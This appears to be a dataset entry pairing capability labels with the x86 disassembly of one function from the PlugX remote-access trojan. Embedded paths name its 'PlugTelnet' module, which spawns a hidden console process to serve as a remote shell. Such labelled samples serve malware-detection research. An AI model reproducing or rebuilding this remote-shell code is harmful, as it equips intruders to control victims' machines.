Function at 0x1001a0d0
Capabilities:
Create process on windows
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x7c
push ebx
push esi
push edi
push 0xfa44
mov edi, edx
mov dword [esp + 0x14], ecx
call fcn.1002422e
add esp, 4
mov esi, eax
xor edx, edx
mov ecx, esi
push 0xfa44
call fcn.100242ad
add esp, 4
lea ecx, [esi + 0x46]
mov eax, 0x1f40
nop word [eax + eax]
mov dword [ecx - 2], 0x70020
lea ecx, [ecx + 4]
sub eax, 1
jne 0x1001a110
push 0x10029cbc
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov ebx, eax
add ebx, ebx
lea ecx, [ebx + 2]
push ecx
call fcn.10027bda
add esp, 4
mov dword [esp + 0x20], eax
mov dword [esp + 0x28], eax
mov dword [esp + 0x24], eax
mov dword [esp + 0x1c], 0
test eax, eax
jne 0x1001a162
push eax
lea edx, [eax + 0x40]
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXBuffer.cpp
call fcn.10024152
jmp 0x1001a179
push ebx
mov edx, 0x10029cbc
mov dword [esp + 0x20], ebx
mov ecx, eax
mov word [ebx + eax], 0
call fcn.1002427e
mov ebx, dword [sym.imp.KERNEL32.dll_lstrlenW]
add esp, 4
push 0x10029cc4
call ebx
add eax, eax
lea ecx, [esp + 0x1c]
push eax
push 0x10029cc4
call fcn.100066e0
push 0x10029cc8
call ebx
add eax, eax
lea ecx, [esp + 0x1c]
push eax
push 0x10029cc8
call fcn.100066e0
mov ebx, dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
call ebx
test eax, eax
jne 0x1001a1d9
call dword [sym.imp.KERNEL32.dll_AllocConsole]
test eax, eax
jne 0x1001a1d9
push eax
lea edx, [eax + 0x79]
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXPlugTelnet.cpp
call fcn.10024152
add esp, 4
call ebx
push 0
test eax, eax
jne 0x1001a1fe
lea edx, [eax + 0x7f]
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXPlugTelnet.cpp
call fcn.10024152
add esp, 4
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
jmp 0x1001a2dd
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
test eax, eax
jne 0x1001a21c
push eax
mov edx, 0x84
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXPlugTelnet.cpp
call fcn.10024152
add esp, 4
push 1
push 0x1001aac0
call dword [sym.imp.KERNEL32.dll_SetConsoleCtrlHandler]
test eax, eax
jne 0x1001a240
push eax
mov edx, 0x89
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXPlugTelnet.cpp
call fcn.10024152
add esp, 4
mov dword [esp + 0x14], 0x640050
push dword [esp + 0x14]
push 0xfffffffffffffff5
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_SetConsoleScreenBufferSize]
test eax, eax
jne 0x1001a272
push eax
mov edx, 0x93
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXPlugTelnet.cpp
call fcn.10024152
add esp, 4
push 0x44
xor edx, edx
lea ecx, [esp + 0x44]
call fcn.100242ad
add esp, 4
mov dword [esp + 0x40], 0x44
mov eax, 1
mov dword [esp + 0x6c], 1
mov word [esp + 0x70], ax
lea eax, [esi + 0x10]
push eax
lea eax, [esp + 0x44]
push eax
push 0
push 0
push 0
push 1
push 0
push 0
push dword [esp + 0x40]
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
jne 0x1001a310
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 0
mov edx, 0xa0
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXPlugTelnet.cpp
mov ebx, eax
call fcn.10024152
add esp, 4
mov dword [edi], 0x20120123
mov dword [edi + 4], 0x7100
mov dword [edi + 0xc], ebx
mov dword [edi + 8], 0
call fcn.10019ff0
push 0x7530
push edi
mov edi, dword [esp + 0x18]
mov eax, dword [eax + 0x38]
push edi
call eax
mov ebx, eax
jmp 0x1001a5bd
mov dword [edi], 0x20120123
mov dword [edi + 4], 0x7100
mov dword [edi + 0xc], 0
mov dword [edi + 8], 0
call fcn.10019ff0
push 0x7530
push edi
mov edi, dword [esp + 0x18]
mov eax, dword [eax + 0x38]
push edi
call eax
mov ebx, eax
test ebx, ebx
jne 0x1001a5bd
push eax
push eax
push 1
push eax
mov dword [esi], edi
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov edi, dword [0x1002d3d4]
mov dword [esi + 4], eax
test edi, edi
jne 0x1001a390
push 0x24
call fcn.1002422e
mov edi, eax
add esp, 4
test edi, edi
je 0x1001a388
push edi
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
lea eax, [edi + 0x18]
mov dword [eax + 8], ebx
mov dword [eax], eax
mov dword [eax + 4], eax
jmp 0x1001a38a
xor edi, edi
mov dword [0x1002d3d4], edi
push esi
push 0x1001aad0
lea eax, [esi + 8]
mov ecx, edi
push str.TelnetT1
push eax
call fcn.10023c80
mov ebx, eax
test ebx, ebx
je 0x1001a3b7
push ebx
mov edx, 0xb2
jmp 0x1001a5b0
mov edi, dword [0x1002d3d4]
test edi, edi
jne 0x1001a3f1
push 0x24
call fcn.1002422e
mov edi, eax
add esp, 4
test edi, edi
je 0x1001a3e9
push edi
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
lea eax, [edi + 0x18]
mov dword [eax + 8], 0
mov dword [eax], eax
mov dword [eax + 4], eax
jmp 0x1001a3eb
xor edi, edi
mov dword [0x1002d3d4], edi
push esi
push 0x1001ac10
lea eax, [esi + 0xc]
mov ecx, edi
push str.TelnetT2
push eax
call fcn.10023c80
mov ebx, eax
test ebx, ebx
je 0x1001a418
push ebx
mov edx, 0xb7
jmp 0x1001a5b0
call fcn.10019ff0
mov edi, dword [esp + 0x10]
lea ecx, [esp + 0x18]
push ecx
push edi
mov eax, dword [eax + 0x10]
call eax
test eax, eax
je 0x1001a444
push 0
mov edx, 0xbe
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXPlugTelnet.cpp
call fcn.10024152
add esp, 4
call fcn.10019ff0
push dword [esi + 4]
push edi
mov eax, dword [eax + 0xc]
call eax
test eax, eax
je 0x1001a46a
push 0
mov edx, 0xc3
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXPlugTelnet.cpp
call fcn.10024152
add esp, 4
mov edi, dword [0x1002d3c8]
test edi, edi
jne 0x1001a4cf
push 0x18
call fcn.1002422e
mov edi, eax
add esp, 4
test edi, edi
je 0x1001a4c7
push 0
push 0
push 1
push 0
mov dword [edi + 0xc], 0
mov dword [edi + 0x14], 0
mov dword [edi + 0x10], 0
mov dword [edi + 8], 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov dword [edi], eax
test eax, eax
jne 0x1001a4c9
push eax
lea edx, [eax + 8]
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXRTL.cpp
call fcn.10024152
add esp, 4
jmp 0x1001a4c9
xor edi, edi
mov dword [0x1002d3c8], edi
mov eax, dword [edi]
mov dword [esp + 0x2c], eax
mov eax, dword [esp + 0x18]
mov dword [esp + 0x30], eax
mov eax, dword [esi + 8]
mov dword [esp + 0x34], eax
mov eax, dword [esi + 0xc]
mov dword [esp + 0x38], eax
mov eax, dword [esi + 0x10]
push 0xffffffffffffffff
mov dword [esp + 0x40], eax
lea eax, [esp + 0x30]
push 0
push eax
push 5
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
cmp eax, 4
ja case.default.0x1001a508
jmp dword [eax*4 + 0x1001a6e0]
push 0
mov edx, 0xd6
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXPlugTelnet.cpp
call fcn.10024152
add esp, 4
push dword [esi + 4]
call dword [sym.imp.KERNEL32.dll_SetEvent]
test eax, eax
jne 0x1001a543
push eax
mov edx, 0xdb
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXPlugTelnet.cpp
call fcn.10024152
add esp, 4
push 0
push dword [esi + 0x10]
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov edi, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0xffffffffffffffff
push dword [esi + 8]
call edi
test eax, eax
je 0x1001a573
push 0
mov edx, 0xe4
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXPlugTelnet.cpp
call fcn.10024152
add esp, 4
push 0xffffffffffffffff
push dword [esi + 0xc]
call edi
test eax, eax
je 0x1001a592
push 0
mov edx, 0xe9
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXPlugTelnet.cpp
call fcn.10024152
add esp, 4
call fcn.10019ff0
push dword [esp + 0x18]
mov edi, dword [esp + 0x14]
push edi
mov eax, dword [eax + 0xc]
call eax
test eax, eax
je 0x1001a5bd
push 0
mov edx, 0xee
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXPlugTelnet.cpp
call fcn.10024152
add esp, 4
push 0
push 0x1001aac0
call dword [sym.imp.KERNEL32.dll_SetConsoleCtrlHandler]
test eax, eax
jne 0x1001a5e1
push eax
mov edx, 0x103
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXPlugTelnet.cpp
call fcn.10024152
add esp, 4
call dword [sym.imp.KERNEL32.dll_FreeConsole]
test eax, eax
jne 0x1001a5fe
push eax
mov edx, 0x108
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXPlugTelnet.cpp
call fcn.10024152
add esp, 4
mov eax, dword [esi + 4]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
je 0x1001a625
push eax
call edi
test eax, eax
jne 0x1001a625
push eax
mov edx, 0x10f
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXPlugTelnet.cpp
call fcn.10024152
add esp, 4
mov eax, dword [esi + 8]
test eax, eax
je 0x1001a646
push eax
call edi
test eax, eax
jne 0x1001a646
push eax
mov edx, 0x117
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXPlugTelnet.cpp
call fcn.10024152
add esp, 4
mov eax, dword [esi + 0xc]
test eax, eax
je 0x1001a667
push eax
call edi
test eax, eax
jne 0x1001a667
push eax
mov edx, 0x11f
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXPlugTelnet.cpp
call fcn.10024152
add esp, 4
mov eax, dword [esi + 0x10]
test eax, eax
je 0x1001a688
push eax
call edi
test eax, eax
jne 0x1001a688
push eax
mov edx, 0x127
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXPlugTelnet.cpp
call fcn.10024152
add esp, 4
mov eax, dword [esi + 0x14]
test eax, eax
je 0x1001a6a9
push eax
call edi
test eax, eax
jne 0x1001a6a9
push eax
mov edx, 0x12f
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXPlugTelnet.cpp
call fcn.10024152
add esp, 4
push 0xfa44
push esi
call fcn.10027bcc
mov eax, dword [esp + 0x28]
add esp, 8
test ebx, ebx
mov esi, 0x2746
cmovne esi, ebx
test eax, eax
je 0x1001a6d4
push 1
push eax
call fcn.10027bcc
add esp, 8
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret